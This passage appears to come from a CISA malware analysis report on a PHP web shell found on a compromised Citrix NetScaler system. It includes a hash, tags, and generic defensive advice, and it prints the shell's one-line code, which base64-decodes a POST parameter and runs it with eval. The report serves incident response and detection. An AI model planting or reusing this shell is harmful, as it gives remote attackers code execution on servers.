file_put_contents(“netscaler.1” , “—————————————————–“.PHP_EOL ,FILE_APPEND);
}
—End PHP Code—

4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a small PHP script block and has been identified as a malicious web shell. It is designed to accept a POST request and extract the data associated with the parameter ‘citrix@[Redacted]’. This data will then be decoded using a function named “base64_decode”. The data will then be executed via the PHP “eval” function, indicating the application expects this data to be additional PHP code. This web shell will allow a remote operator to execute additional PHP payloads on a compromised system. This file contains the following (partial) PHP code:

—Begin PHP—
php @eval(base64_decode($_POST[‘citrix@[Redacted]’]));
—End PHP—

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

• 1-888-282-0870
• CISA Service Desk (UNCLASS)
• CISA SIPR (SIPRNET)
• CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.